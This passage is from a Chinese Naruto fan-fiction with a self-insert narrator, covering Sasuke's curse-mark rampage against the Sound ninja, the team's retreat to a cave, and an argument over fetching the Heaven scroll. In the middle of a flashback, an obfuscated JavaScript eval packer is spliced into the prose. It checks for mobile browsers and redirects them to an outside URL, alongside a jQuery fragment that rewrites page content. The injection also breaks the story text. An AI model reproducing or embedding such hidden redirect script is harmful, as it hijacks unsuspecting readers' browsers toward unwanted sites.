然而,就在这令人窒息的对峙中,谁也没有注意到,一直昏迷不醒的宇智波佐助,紧蹙的眉头微微动了一下。他颈后那狰狞的三勾玉咒印依旧盘踞在那里,但之前那仿佛要烧融骨髓、撕裂灵魂的剧痛却离奇地消失了,取而代之的是一种深彻骨髓的、令人不安的冰凉与死寂。 他浓密的睫毛颤了颤,缓缓睁开了眼睛。那双墨玉般的瞳孔初时还带着一丝初醒的迷茫,但几乎在瞬间就被锐利的警惕所取代。他第一时间感受到的是身体异常的轻松——那折磨得他欲生欲死的咒印,停止了?紧接着,他的目光如同最精准的雷达般迅速扫过四周:正在与音忍紧张对峙、断发明志的小樱,耗尽体力倒地不起的洛克李,依旧昏迷的鸣人…… 然后,他的视线猛地定格了。 定格在那个倒在离他不远处,仿佛生命力已然流干的身影上。她的脸色苍白得透明,如同易碎的瓷器,微弱的呼吸几乎难以察觉。而她的手中,还死死地、固执地攥着什么东西——那是一张被鲜血染成暗红色的塔罗牌。 佐助的目光缓缓下移,落在自己完好无损、甚至感觉充满了前所未有力量的手上,又下意识地抬起手,摸了摸颈后那安静得诡异的咒印。 一个荒谬却又无比清晰、冰冷的念头,如同淬毒的匕首,猛地刺穿了他的脑海。 又是她……? 在我被这该死的东西折磨得失去意识的时候……又是她做了什么……? 这力量的回归,这痛苦的消失……代价是什么? 他沉默地凝视着地上那个为了他们(为了鸣人?为了小樱?还是为了他?)而付出未知惨重代价的身影,墨色的瞳孔深处,翻涌起极其复杂难辨的暗流—— 有对她多管闲事的恼怒,有对自身无力需要被保护的强烈耻辱,有对这诡异状况的深深疑惑,或许……还有一丝连他自己都绝不会承认的、极其微小的、因那触目惊心的鲜血和脆弱而产生的震颤。 佐助没有说话。他只是静静地站起身,动作流畅而充满力量感。然而,随着他的起身,一股远比宁次更加暴戾、更加阴冷、更加充满毁灭气息的查克拉如同黑色的风暴般骤然以他为中心爆发出来! 轰隆! 实质般的黑色查克拉裹挟着惊人的杀气冲天而起,吹起地面无数的碎石断枝,形成一个令人心悸的能量漩涡。他周围的空气都因这股可怕的力量而微微扭曲。 小樱惊喜地看向苏醒的佐助,可那扑面而来的、几乎让她无法呼吸的冰冷杀意,瞬间将她的惊喜冻结,转化为更深沉的恐惧。这真的是佐助吗? “小樱…” 佐助的声音低沉而沙哑,蕴含着压抑到极致的暴怒 “让你们变成这样的,是谁!” 或许是『恶魔』牌的代价,总之,在这恐怖杀气爆发的一瞬间,不远处倒在地上的我发出了更加痛苦、几乎不成人声的哀嚎,身体剧烈地抽搐起来,仿佛正在承受某种无形的、可怕的折磨。佐助无需承担的身体上的痛苦,似乎正以十倍的强度反弹给了我……交易……这就是恶魔那残酷的交易吗? 鹿丸的瞳孔猛地收缩,冷汗瞬间浸透了他的后背 “喂喂……开玩笑的吧?这种查克拉……” 他几乎是本能地一把拉住还在发愣的井野,另一只手拽起刚刚缓过神、还晕乎乎的丁次 “走了!立刻!马上!这不是我们能掺和的事情了!会没命的!” 三人几乎是以最快的速度,狼狈却无比迅速地消失在了密林深处,甚至来不及告别。 萨克镫被这股可怕的杀气锁定了,心脏狂跳,但强烈的自尊(或者说是愚蠢)让他硬着头皮,不屑地啐了一口 “是我!怎么样?!” 这两个字,如同点燃了炸药桶的最后引信,彻底释放了佐助心中压抑的所有愤怒与杀意! 金察觉到了致命危险,惊恐地大喊 “萨克!快走!带上托斯,我们不是他的对手!” 可一切都太晚了。 佐助的身影如同鬼魅般瞬间从原地消失!下一刻,他已经出现在萨克镫的面前,速度快得超出了萨克的动态视力! “你说谁……?” 如同来自九幽地狱的低语在萨克耳边响起。 萨克甚至没看清动作,只感到腹部传来一股无法形容的巨力!佐助只是看似随意的一拳,就将他整个人如同破麻袋般狠狠砸飞出去!砰!萨克的身体连续撞断了两棵小树才重重摔落在地,一口鲜血猛地喷出。 佐助甚至没有多看被他击飞的萨克一眼,他的目光扫过被小樱拼死保护着的鸣人,以及在地上因他力量爆发而痛苦哀嚎的我,眼底的黑色火焰燃烧得更加炽烈。 小樱刚想开口叫住佐助,却见佐助的身影再次模糊! “火遁·凤仙火之术!” 佐助瞬间结印,深吸一口气,从口中喷出数十朵灼热的火焰散弹,如同凤仙花的果实般四散飞射,并且每一朵火焰中都精准地隐藏着一枚锋利的手里剑!火焰覆盖了萨克所有可能的躲闪路径! 萨克刚挣扎着爬起来,见到漫天火雨,吓得魂飞魄散,下意识地再次举起双臂 “斩空极波!” 他拼尽全力,释放出比之前更加强大、更具破坏力的高压气浪,试图吹散这些火焰和手里剑。 嗤——!火焰与气压剧烈对撞,蒸发、偏折。萨克只顾着防御正面的火焰,却忽略了一点——佐助的身影随着火焰一起移动了! 就在萨克旧力刚尽、新力未生,注意力全在正面火焰的瞬间,佐助如同瞬移般出现在他的身下死角!一记凌厉无比的上段踢狠狠踹在萨克的膝盖窝! “呃啊!” 萨克惨叫一声,双腿不受控制地“噗通”跪倒在地。 佐助的动作行云流水,没有丝毫停顿。他的另一只脚如同铁钳般狠狠踩在萨克的后背上,将他死死钉在地上,同时双手如同捕食的毒蛇,精准而冷酷地扼住了萨克那双引以为傲、发射斩空波的手腕关节。 “你对你的这双手……很满意啊?” 佐助嘴角勾起一抹冰冷而残酷的弧度,那是对自身绝对力量的确认,也是对猎物最终审判的宣告。他五指猛地用力,查克拉凝聚指尖,眼看就要毫不留情地彻底废掉萨克的双臂! “佐助!不要!!!” 小樱的尖叫声带着撕心裂肺的哭腔和恐惧,猛地从身后传来。她不知哪来的勇气,猛地冲了过来,不顾一切地用双手死死抱住了佐助即将发力的手臂,用自己全身的重量和微薄的查克拉试图阻止他。 “住手!求求你住手!” 小樱的眼泪汹涌而出,声音颤抖得几乎破碎 “看看旁听生!看看她啊!她太痛苦了!拜托了……快住手!!不要再使用那种力量了!!求你了!” 佐助狂暴的动作猛地一滞。他微微侧头,看了一眼泪流满面、近乎崩溃的小樱,那强烈的情绪如同一盆冷水,稍稍浇熄了他眼中燃烧的杀意火焰。他的目光越过小樱,再次落在地上那个因他的力量而承受十倍痛苦、蜷缩颤抖的身影上,落在那张染血的塔罗牌碎片上。 “切……” 佐助发出一声不甘的咂舌声,周身那恐怖的黑色查克拉如同潮水般迅速退去。他松开了手,放开了萨克,自己也像是突然被抽空了力气般,微微踉跄了一下,喘着粗气。 几乎在佐助力量收敛的同时,我身上那仿佛凭空出现、疯狂灼烧蔓延的诡异咒印纹路也瞬间消退、隐没。那令人窒息的十倍痛苦骤然消失,巨大的脱力感让我眼前一黑,彻底陷入了深度昏迷,但紧蹙的眉头终于微微舒展了一些。 劫后余生的萨克瘫软在地,大口大口地喘着粗气,眼底充满了对刚才那一刻无限接近死亡的极致恐惧和后怕,冷汗早已浸透了他的全身。 金颤抖着,几乎是手忙脚乱地从忍具包里掏出地之书卷轴,扔在地上,声音嘶哑:“地之书给你们,如果还有下次,一定不会逃走!”她连忙冲过来,扶起几乎虚脱的萨克,两人又费力地拖起依旧昏迷不醒、头破血流的托斯,踉跄着想要逃离这个噩梦之地。 “等一下!” 小樱用手背猛地擦去眼泪,站起身,尽管声音还带着哭过后的沙哑,却充满了不容置疑的怒意和坚定。她必须知道答案 “大蛇丸究竟是什么人?他对佐助做了什么?!为什么偏偏选择了佐助!” 金停下脚步,头也不回地答道 “那位大人的想法,不是我们能够揣测的。我们只是奉命行事。” 说完,三人互相搀扶着,以最快的速度消失在密林的阴影之中,仿佛身后有恶鬼追赶。 敌人终于离去,死亡的威胁暂时解除。小樱紧绷的神经一瞬间松弛下来,剧烈的脱力感席卷全身,她腿一软,几乎要瘫倒在地。 井野小队在意识到安全之后,果断地跑出来,查看在场所有人的情况。鹿丸安排井野来到我面前查看我的伤势,毕竟我刚才的样子吓到了他们——脸色苍白如纸,呼吸微弱得几乎察觉不到,仿佛随时都会消散在风中。 鹿丸则走到了鸣人眼前。可当他发现鸣人睡得香甜,甚至还喃喃梦语,嘴角带着笑意,顿时觉得无语极了。合着他们在这里拼死拼活地战斗,鸣人这小子却睡得死沉,还做着美梦? “嘿嘿……姐姐……你看我是不是又变强了……” 鸣人在梦中嘟囔着,脸上的笑容天真得令人不忍打扰。 丁次凑过来,小声问 “要不要一脚给他踹醒?” 鹿丸叹了口气,随手捡起一根树枝,轻轻戳了戳鸣人的脸颊。 “可行。” 他淡淡地说。 下一秒,鸣人猛地惊醒,尖叫一声跳起来,头顶瞬间肿起一个大包。 “好痛!谁啊!?” 他揉着脑袋,茫然四顾,目光最终落在跌坐在我不远处的佐助和小樱身上。他们的脸色都不太好,尤其是佐助,低着头沉默不语,仿佛背负着千斤重担。 鸣人一下子慌了神,冲到我面前,声音颤抖 “姐姐?姐姐你怎么了?!” 他没有得到回应。他只看到我闭着眼,像是睡着了,却又不像——太平静了,太脆弱了。 他猛地转向佐助,声音里带着压抑不住的怒火 “佐助!姐姐她怎么了!?” 佐助没有回答,甚至没有看他一眼,只是别过脸去,仿佛连直视我的勇气都没有。 这一下彻底点燃了鸣人的情绪。他一把揪住佐助的衣领,拳头攥得死紧 “我问你话啊!混蛋!” “鸣人,住手!” 小樱急忙拦住他,声音里带着哭腔 “不是佐助的错!是旁听生她……她为了保护大家,整整一夜没睡……似乎还用塔罗牌的力量把佐助君的咒印痛苦转移到了自己身上……” 鸣人愣住了,拳头僵在半空中,眼中的怒火渐渐被一种更深、更痛的情绪取代。他缓缓松开佐助,踉跄着后退一步,目光再次落回我苍白的脸上。 “……我又被保护了吗?” 他低声呢喃,声音里满是自嘲和无力 “明明说好了要变强……要保护姐姐的……” 他猛地一拳捶在地上,泥土飞溅,手背瞬间擦出血痕。 “可恶……我又……什么都做不到……” 就在这时,井野抬起头,轻轻舒了一口气 “她没事了,只是精神力严重透支,需要休息。” 鸣人几乎是扑过去的,小心翼翼地从井野手中接过我。他的动作轻柔得仿佛在触碰一件易碎的珍宝,手臂却抑制不住地颤抖。 他看着我沉睡的侧脸,心情复杂得像一团乱麻——是失而复得的庆幸,是无能為力的自责,是看到她为别人付出时的细微刺痛,更是那种深植于心的、连他自己都不敢承认的……过度的依赖。 他想起梦中她对他笑的样子,想起她哼着歌哄他入睡的夜晚,想起她总是温柔地喊他“笨蛋”……而现在,她为了他们,又一次倒下了。 他把我紧紧抱在怀里,下巴轻轻抵着我的头顶,仿佛这样就能确认我的存在,确认我不会再一次消失。 另一边,佐助始终没有看向我们。他沉默地站在原地,垂在身侧的手握得发白。他并不是毫无触动——他只是习惯了用冷漠掩盖一切。他的脑海里反复回放着刚才的一幕:我躺倒在地上,手里死死捏着染血的塔罗牌……以及痛苦的哀嚎…那一刻,他清楚地感受到一种陌生的情绪涌上心头,是震惊,是不解,甚至是一丝连他自己都厌恶的动摇。他追求的明明是力量,是复仇,为什么却一次又一次被这样的人打乱心绪? 小樱看着鸣人抱着我时那副仿佛全世界只剩下怀中一人的模样,又看向佐助沉默而紧绷的背影,心里五味杂陈。 “好了,小樱,到你了,你也受伤了,坐好别动。” 井野立刻注意到,语气带着不容置疑的关切。尽管现在分属不同小队,但曾经深厚的友情从未消失。她不由分说地拉过小樱的手,掌心泛起医疗忍术特有的绿色光芒。 小樱有些怔愣地看着井野专注的侧脸,仿佛回到了几年前她们还形影不离的时候。伤口不深,很快便止了血开始愈合。 井野瞥了一眼小樱被战斗弄得参差不齐、还沾着血污的粉色长发,皱了皱眉。 “头发也乱得不成样子了……” 她说着,利落地从忍具包里掏出一把手里剑 “转过去,我帮你修一下。” 小樱下意识地照做。井野的手法出乎意料地熟练,手里剑在她手中仿佛变成了最精密的剪刀,几下挥动,那些毛躁破损的发尾便被利落斩断,虽然谈不上什么发型,但却清爽利落了许多。 “好了,” 井野拍拍手,语气轻松了些 “比刚才好看多了。” 小樱摸了摸变短的头发,低声说 “……谢谢,井野。” “哼,少啰嗦。” 井野扭过头,抱着胸不去看她,似乎是想起来自己和她还是情敌关系,却又如此的关照。 不远处,天天也终于松了一口气,赶紧去摇晃还在昏迷的李洛克:“李!醒醒!” …… 短暂的休整与告别后,三支小队决定分开行动,以减少目标,各自寻找安全的藏身之处以应对接下来的考试。 佐助率先站起身,眼神恢复了以往的冷冽,他扫视了一圈周围的地形,沉声道 “我去前面找找有没有合适的洞穴或隐蔽点。” 说完,他便头也不回地跃入林中,身影很快消失,只留下一个决绝而孤傲的背影,仿佛要将刚才所有的动摇和杂念彻底甩在身后。 鸣人小心翼翼地将我背到背上,调整到一个绝不会让我感到不适的姿势。我的手臂无力地垂在他的胸前,呼吸微弱地拂过他的颈侧,带来一阵细微的、让他心尖发颤的痒意。他每一步都走得极稳,极慢,生怕一点颠簸就会惊扰了我的沉睡。他能清晰地感受到我身体的重量和温度,这让他感到安心,却又同时伴随着巨大的恐惧——害怕再一次失去的恐惧。 小樱则强打起精神,仔细地处理着现场留下的痕迹,抹去血迹,掩盖查克拉残留。她警惕地注视着四周,担任起断后和护卫的职责,眼神坚定,尽管疲惫,却丝毫不敢放松。 夕阳的余晖将三个人的影子拉得很长很长,投在寂静的死亡森林深处。他们怀揣着各自的心事,沉默地向着未知的前方行进,空气中弥漫着劫后余生的疲惫、难以言喻的复杂情愫,以及对未来的深深忧虑。鸣人背着我,感受着这份沉甸甸的重量,在心中默默起誓—— 绝不会……再让你独自承受一切。 25. 二十四章番外[番外] 夕阳彻底沉入地平线,死亡森林被一种更深邃的寂静笼罩,只有虫鸣和几人踩过落叶的沙沙声。 佐助很快找到了一个隐蔽的洞穴入口,被茂密的藤蔓遮掩。他清理出一小片区域,言简意赅地告知了位置,便抱着手臂靠坐在离洞口最近的岩壁阴影里,闭目养神,仿佛与外界隔绝。但那微微颤动的睫毛和紧抿的嘴唇,透露着他远非表面那般平静。咒印带来的灼痛似乎仍在记忆里嘶鸣,更刺痛的是那份挥之不去的、被保护了的无力感。 鸣人小心翼翼地将我放在洞穴最内侧铺好的柔软枯叶上,动作轻柔得像是在安置一片羽毛。他脱下自己的外套,仔细盖在我身上,确保每一寸都被裹得严实。 小樱简单处理了洞口附近的痕迹,又设置了几个简易的警戒陷阱,做完这一切,她才疲惫地走进来,靠着另一侧的岩壁坐下。气氛沉默得有些压抑。 鸣人跪坐在我身边,寸步不离。跳跃的篝火光芒在他湛蓝的眼眸中投下明暗交织的光影。他看着我苍白的面孔,一种巨大的、害怕失去的恐惧紧紧攥住了他的心脏。这种恐惧,比面对任何强大的敌人都要让他窒息。他并不是完全明白这种情绪意味着什么,他只知道,眼前这个人,是第一个向他伸出手、第一个毫不犹豫站在他身前的人,他绝对不能失去。 『又来了……我又什么都没做到……』 『明明说了要变强保护大家的……结果最先倒下的,又是为了保护我……保护我们……』 『姐姐……快点醒过来啊……不要再睡下去了……求你了……』 昏睡中的我似乎被什么困住了,猛地蹙紧眉头,发出一声极轻却充满痛苦的呓语,手指无意识地蜷缩起来,抓住了身下的枯叶。 这细微的动静瞬间揪紧了鸣人的心。 “姐姐?!”他立刻俯身过来,声音里带着他自己都没察觉的恐慌,“你怎么了?做噩梦了吗?” 他看到我额头上渗出细密的冷汗,表情痛苦。鸣人心疼得无以复加,几乎是下意识的,他伸出手,非常非常轻地、用指尖拂开我额前被汗湿的碎发,动作笨拙却极致温柔。 猛的,鸣人回忆起一段……温暖的记忆,它不受控制地涌上心头,驱散了此刻的部分寒意。 那也是一个夜晚,他被噩梦惊醒,吓得浑身冷汗,心脏砰砰直跳。他赤着脚跑出卧室,发现客厅还亮着微弱的灯光。我正坐在窗边,看着外面的月亮发呆。 “姐姐?你怎么还不睡?”他揉着眼睛问。 我回过头,对他笑了笑,笑容里有点他看不懂的疲惫:“嗯……还没有那么想睡。鸣人呢?怎么不睡了?” 他挠了挠那头乱糟糟的金发,支吾着没敢说做了很可怕的噩梦,只是小声说:“我、我也睡不着了。” 我看了看时间,叹了口气:“算了,都这么晚了,快点睡吧。”我站起身,很自然地拉住他的手,“今晚一起睡吧,免得某个笨蛋又偷偷跑出来着凉。” 躺下后,他却睁着眼睛,毫无睡意,噩梦的阴影还在心头徘徊。他似乎能感觉到我的视线落在他脸上。 “怎么了?在害怕吗?”我轻声问。 他犹豫了一下,才闷闷地问:“……姐姐,你为什么……总是对我这么好?其他人……” 后面的话他没说出口,但我明白了。 我侧过身,面对着他,很认真地说:“因为鸣人就是鸣人啊。我看到的是一个努力又善良,比任何人都渴望得到认可,也比任何人都珍惜同伴的孩子。我相信我看到的,这就够了。” “可是……如果我永远都达不到你的期望呢?如果我最后还是让你失望了呢?”他声音里带着自己都没察觉的颤抖和不安全感。 黑暗中,我轻轻摸了摸他的头发,语气温柔又坚定:“我的期望从来不是你要变得多厉害。我的期望是,鸣人能一直平安,能交到很多朋友,能真正地快乐起来。只要你还是你,我就永远不会失望。” 那句话像是有魔力,驱散了他心底的不安和寒冷。他沉默了一会儿,然后慢慢地、试探性地伸出手,抱住了我的胳膊,把脸埋在旁边,像个找到依靠的小兽。我没有推开他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575545|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了很久,久到他以为我睡着了,才听到我极轻地哼起了那首他后来无比熟悉的调子。在那温柔的歌谣里,他紧绷的神经终于放松,沉沉睡去,那次再也没有噩梦侵扰。而我在他睡着后,心里默默想着:‘不需要你成为多么了不起的英雄,只希望你能快乐,就好。’ 此刻,在这冰冷的洞穴里,那段记忆中的温暖和歌谣变得无比清晰。鸣人看着痛苦呓语的我,犹豫了一下,脸颊有些发烫,但还是压低声音,用只有我们两人能听到的、有些跑调却异常认真的嗓音,轻轻哼唱起来: “我希望你被爱着……” “我希望你要快乐……” “我希望我的双手,能够为你挡着风……” 歌声沙哑而生涩,在这寂静的洞穴里缓缓流淌,奇异地带上了一种安抚人心的力量。他哼唱着,仿佛要将记忆中那份毫无条件的接纳和守护,连同他此刻所有的祈愿,都传递给我。 篝火噼啪作响,映照着少年担忧而专注的侧脸,和他眼中纯粹而炽热的依赖。阴影中的佐助不知何时睁开了眼睛,沉默地看着这一幕,眸色深沉。小樱也望过来,眼神复杂,带着一丝感动和更多的迷茫。 歌声轻柔地回荡,一遍又一遍。 而在无人可见的梦境深处,那撕扯着灵魂的剧痛和混乱的记忆碎片(一个总是迟到、戴着护目镜、笑容有点傻气却努力想得到认可的男孩身影),似乎真的因为这熟悉的、带着承诺的调子,而稍稍平息了一些。温暖的睡意如同潮水,慢慢盖过了那些尖锐的碎片。 现实中,我紧蹙的眉头缓缓舒展开,呼吸也变得均匀绵长,仿佛真的被那不成调的歌声带离了噩梦,沉入了更安稳的睡眠。 鸣人看着我的睡颜终于恢复平静,一直紧绷的肩膀才稍稍放松下来。他轻轻吁了口气,依旧跪坐在旁边,一动不动地守着,湛蓝的眼睛在火光下亮得惊人,里面盛满了失而复得的小心翼翼和一种近乎固执的守护欲。 ‘这次,换我守着你。’他在心里默默地说,‘就像你一直守护我那样。’ 26. 『终局 沉默』 洞穴内的空气仿佛凝滞了一般,沉重得让人喘不过气。唯有篝火燃烧时发出的噼啪声,以及洞外隐约传来的、时断时续的虫鸣,证明着时间并未彻底停滞。 鸣人低哑而执拗的歌声,像是一道微弱却坚韧的光丝,穿透了我沉沦的无意识深渊。那旋律简单又熟悉,带着一种笨拙的温暖,奇异地安抚着我破碎不堪的精神。 我在那片混沌粘稠、充斥着恶魔低语与可怖记忆残片的黑暗里,挣扎的幅度渐渐变小,紧蹙的眉头一点点松开,只是脸上依旧找不到半分血色,苍白得如同初雪,吓人得紧。 鸣人根本不敢停下。他一遍又一遍,不知疲倦地重复着那首刻印在记忆里的歌谣,湛蓝的眼睛瞪得大大的,一眨不眨地紧盯着我,仿佛要将自己所有的生命力、所有的祈愿,都通过这沙哑的歌声拼命传递过来。 小樱抱着膝盖坐在一旁,眼神里盛满了浓得化不开的担忧,在我和鸣人之间来回移动,偶尔,也会忍不住飞快地瞥向洞口那片浓重的阴影——那里,那个沉默的身影仿佛与黑暗融为了一体。 佐助依旧保持着闭目养神的姿态,纹丝不动,可任谁都能清晰地感觉到,从他身上散发出的那种生人勿近的紧绷感,像是一根被拉到极致的弦,危险而寂然。 不知究竟过了多久。也许只是短暂的几分钟,却又像是经历了数个世纪那般漫长。 我终于从那片吞噬一切的黑暗深渊中,艰难地挣脱出了一丝微弱的意识。 痛…… 最先袭来的是精神力被彻底抽空、甚至被某种阴冷邪恶力量侵蚀后产生的剧痛。太阳穴如同被烧红的锥子反复凿击,突突地跳着疼,每一次心跳都猛烈地撞击着颅腔,带来一阵阵沉闷而令人作呕的抽痛。紧接着,是身体上的极度虚弱,仿佛所有的力气、所有的生机都被某种东西贪婪地吸食殆尽,连抬起一根手指这样简单的动作,都变得犹如移山填海般艰难。 我的睫毛剧烈地颤抖了几下,如同负着千斤重担,极其费力地,试图掀开那沉重无比的眼皮。 视野先是模糊混沌的一片,只能看到不远处跳跃闪烁的暖色火光,以及一个模模糊糊的、带着无比耀眼金色轮廓的影子。那金色,温暖得让人想落泪。 “……鸣……人……?” 一个沙哑得几乎听不见、破碎得不成调的气音,从我干裂得渗出血丝的嘴唇中艰难地溢出。 歌声戛然而止。 鸣人整个人猛地一震,像是被无形的电流击中。他湛蓝的眼睛瞬间睁大到极致,里面先是充斥着难以置信的震惊,随即被汹涌而来的狂喜和小心翼翼所淹没。他几乎屏住了呼吸,胸膛因为极致的紧张而忘了起伏,生怕稍微重一点的喘息就会惊扰了这脆弱得如同泡沫的一幕。 “姐…姐姐?!你醒了?!你真的醒了?!” 他的声音因为过度激动而猛地拔高,带着无法抑制的颤抖,几乎是连滚爬爬地扑到我的近前,伸出手想要碰碰我,又在即将触碰到的时候猛地顿住,手臂就那样悬在半空,不知所措。他的眼眶几乎是瞬间就红了,蒙上了一层明显的水汽。 我这微弱得几乎可以忽略不计的动静,也立刻惊动了另外两人。 “旁听生!” 小樱立刻凑了过来,翠绿色的眸子里瞬间迸发出惊喜的光芒,但更深处的,是仍未散去的后怕 “你感觉怎么样?有没有哪里特别不舒服?真是吓死我们了!” 就连一直仿佛置身事外的佐助,也猛地睁开了眼睛。那双漆黑的眼眸在睁开的刹那,锐利如鹰隼的目光便瞬间精准地投向了我的方向。他虽然依旧坐在原地没有移动,之前那紧绷如石雕的下颌线条,似乎微不可查地放松了一丝微小的弧度。只是,他眼神深处那抹复杂的探究和难以言喻的晦暗,并未因此而散去分毫。 我努力地聚焦着依旧有些散乱的视线,首先清晰地映入眼帘的,是鸣人那张写满了过度担忧和失而复得的惊喜、眼眶通红的脸庞。紧接着,是小樱那张关切又带着点哭意的脸庞。我试图扯动嘴角,给他们一个安抚性的微笑,却发现连这么简单的一个动作,此刻都显得异常吃力。 “没……没事……” 我艰难地吐出两个字,声音依旧沙哑微弱得如同耳语 “就是……头很痛……没力气……” “你当然没力气!” 鸣人带着浓浓的哭腔,又急又气地低吼出来,声音因为情绪激动而有些变调 “你怎么可以……怎么可以那样做!!把别人的痛苦转移到自己身上!!我以为……我以为你……” 他说不下去了,只是死死地咬着牙,强忍着几乎要决堤的情绪,那双总是盛满阳光和活力的眼睛里此刻氤氲着厚重的水汽,那不仅仅是失而复得的庆幸,更是深深的无力和强烈的自责。 小樱连忙轻轻推了他一下,用眼神示意他冷静一点,然后努力对我露出一个尽可能温暖的笑容 “没事了,没事了,醒了就是最大的好事。井野之前帮你检查过了,说你只是精神力透支得太厉害了,需要好好休息。” 她说着,拿出自己的水壶,小心地扶起我的头,将壶口轻轻凑到我的唇边 “来,慢慢喝一点水,不要急。” 清凉的液体缓缓滋润了我干渴得快要冒烟的喉咙,带来一丝微不足道的舒缓。我借着她的力道,小口小口地吞咽着,目光则缓缓地扫过这个并不宽敞的洞穴。鸣人紧张地守在我旁边,眼睛一眨不眨地盯着我喝水的样子……佐助在洞口的阴影里沉默地看着……等等,似乎少了人? “李……井野他们……” 我虚弱地问出心中的疑惑。 “李被天天和宁次小心带走了,他需要更专业和稳定的治疗环境。井野、鹿丸还有丁次他们也都很安全,已经先行离开了。” 小樱轻声细语地向我解释着,语气尽可能放得平稳 “我们暂时留在这里,需要休整一下。” 我微微点了点头,悬着的心稍微放下了一些。看来,最危险、最混乱的那个关头已经暂时度过了。但随即,更多混乱的记忆碎片如同潮水般回笼——那张诡异不详的恶魔牌、撕心裂肺几乎将灵魂撕裂的痛苦、咒印那股阴冷邪恶的气息、还有……佐助那双骤然变得猩红、爆发出可怕查克拉和骇人杀意的眼睛…… 我的目光不由自主地,再次投向洞口那个沉默的身影。他似乎敏锐地察觉到了我的视线,立刻略显生硬地移开了目光,只留下一个冷硬的侧脸线条,仿佛刚才那一瞬间的目光交汇,只是我的错觉罢了。 然而,这短暂而珍贵、带着劫后余生般庆幸的温情氛围,并没有能够持续多久。 “既然醒了,就别再浪费时间了。” 佐助冰冷得不带一丝情绪的声音突兀地响起,如同一把寒刃,干脆利落地划破了洞穴内刚刚缓和下来的气氛。他站起身,迈步走到篝火旁,跳动的火光清晰地照亮了他没什么表情的的脸,只有那双深不见底的黑眸里,隐隐跳动着不容置疑的务实和一丝被隐藏得很好的焦躁。 “我们手上只有地之书。” 他言简意赅,直接指出了眼前最残酷的现实 “还缺一本至关重要的天之书,才能通过这场考试。” 鸣人立刻像是被踩了尾巴的猫一样炸了起来,猛地转过身挡在我身前,对着佐助怒目而视 “喂!佐助!你没看到姐姐刚醒过来吗?!她现在这个样子这么虚弱,怎么可能去战斗夺取卷轴?!” “所以呢?” 佐助冷冷地反问,目光锐利如刀,直直地刺向鸣人 “就在这里干等着,等到她完全恢复?鸣人,你最好别忘了,我们只有四天的时间。而现在,已经过去了快一天。而且——” 他的话音微微一顿,视线转而落在我的手腕上——那个该死的查克拉追踪器,正如同一个无形的、闪烁着不祥光芒的烙印般,顽固地存在着。 “就算我们想躲,想拖时间,这个东西也会像个灯塔一样,不断暴露我们的位置,吸引其他如狼似虎的小队过来。” 佐助的声音平稳得没有一丝波澜,只是在陈述一个冰冷的事实 “以她现在这种连站都站不稳的状态,留下她一个人在这里,几乎等于让她原地等死。而带着她一起移动和战斗……” 他略微停顿了一下,那双黑眸扫过我虚弱的样子,最终吐出了那个残酷的词语 “……更是显而易见的累赘。” “你说谁是累赘?!” 鸣人气得头发都快竖起来了,拳头攥得紧紧的,眼看就要扑上去。 “够了,鸣人。” 我虚弱地开口,及时阻止了即将爆发的争吵。尽管不愿意承认,但佐助说的每一个字,都是无可辩驳的现实。我的苏醒,并不意味着小队危机的解除,反而因为我的极度虚弱,让整个团队陷入了更加被动和危险的境地。无法主动出击,只能被动防守或狼狈躲避,而追踪器的存在,让躲避也变成了一种奢侈的幻想。 我尝试着,小心翼翼地调动体内那微乎其微的查克拉,果然,体内空空如也,甚至连最基本的精神力都枯竭得厉害,一阵轻微的思考都会引发颅内剧烈的抽痛。现在的我,确实什么都做不了,是一个不折不扣的负担。 我看着眼前剑拔弩张的两人,还有一旁满脸写着担忧和焦虑的小樱,深吸了一口气,强行压下喉咙口翻涌的腥甜感和阵阵眩晕。 “佐助君……说得对。” 我艰难地,一字一句地承认道,每一个字都像是耗费了极大的力气 “我们不能……坐以待毙。” 鸣人难以置信地猛地转头看向我,声音里充满了不解 “姐姐!” 我对他轻轻摇了摇头,示意他安静听我说完。 “我现在……无法战斗,甚至连最基本的自保都做不到。” 我的声音很低,但我努力让它保持足够的清晰,目光转向佐助 “所以,寻找天之书……夺取卷轴的任务……只能……拜托给你们三个了。” 佐助对上我的目光,黑眸深邃如同古井,看不出丝毫情绪。他沉默了片刻,才用他那特有的冰冷腔调开口 “你有具体的计划?” “暂时……隐藏。” 我喘了口气,努力积蓄着说话的力量 “找一个更隐蔽、更难以被发现的角落……让我藏起来。你们三个人……一起行动。我这个追踪器……会像诱饵一样,吸引一部分敌人过来,这或许……可以成为你们行动中的掩护和机会。但是……” 我顿住了,没有再说下去。但是后面的风险,不言而喻——一旦我被发现,以我现在的状态,几乎是必死无疑,毫无生路。 “不行!” 鸣人第一个尖叫着跳起来反对,声音因为激动而有些撕裂 “我绝对不会把你一个人留下当诱饵!绝对不行!想都别想!” 小樱的脸色也瞬间变得苍白,连连摇头 “这个计划太危险了!我们不能这样做!” 佐助却没有立刻出声反对,他只是静静地看着我,眼神锐利得像是在冷静地评估这个方案的可行性,以及……我这个“诱饵”所能带来的潜在价值。 洞穴内再次陷入了令人窒息的沉重沉默。篝火依旧在不知疲倦地跳跃舞动,明暗不定的火光映照着四人截然不同、却同样凝重无比的面容。 佐助沉默了片刻,那双漆黑的眸子在跳跃的火光映照下显得愈发深邃难测。他并没有立刻赞同我那近乎自毁的“诱饵”计划。 “不行。” 他的否决干脆利落,声音依旧保持着冰冷的质感,却带着一种不容置疑的决断力 “分散队伍力量是下下之策。把你单独留下,需要承担的风险,远远大于可能带来的那点微薄收益。” 他顿了顿,视线再次快速扫过我虚弱不堪的样子,又立刻移开,仿佛那是什么极其刺眼的东西 “一旦你被其他小队发现并抓住,我们甚至连回援抢救的机会都不会有。到时候,就算幸运地得到了天之书,也变得毫无意义。” 他说的非常现实,甚至冷静得有些残酷,但每一个字都是无法反驳的事实。我们是一个小队,在这种四面楚歌的绝境之下,分散力量往往就意味着被敌人逐个击破,全军覆没。 “天色已经彻底黑了。” 佐助的目光投向洞穴外那浓得化不开的深沉夜色,语气带着不容反驳的意味 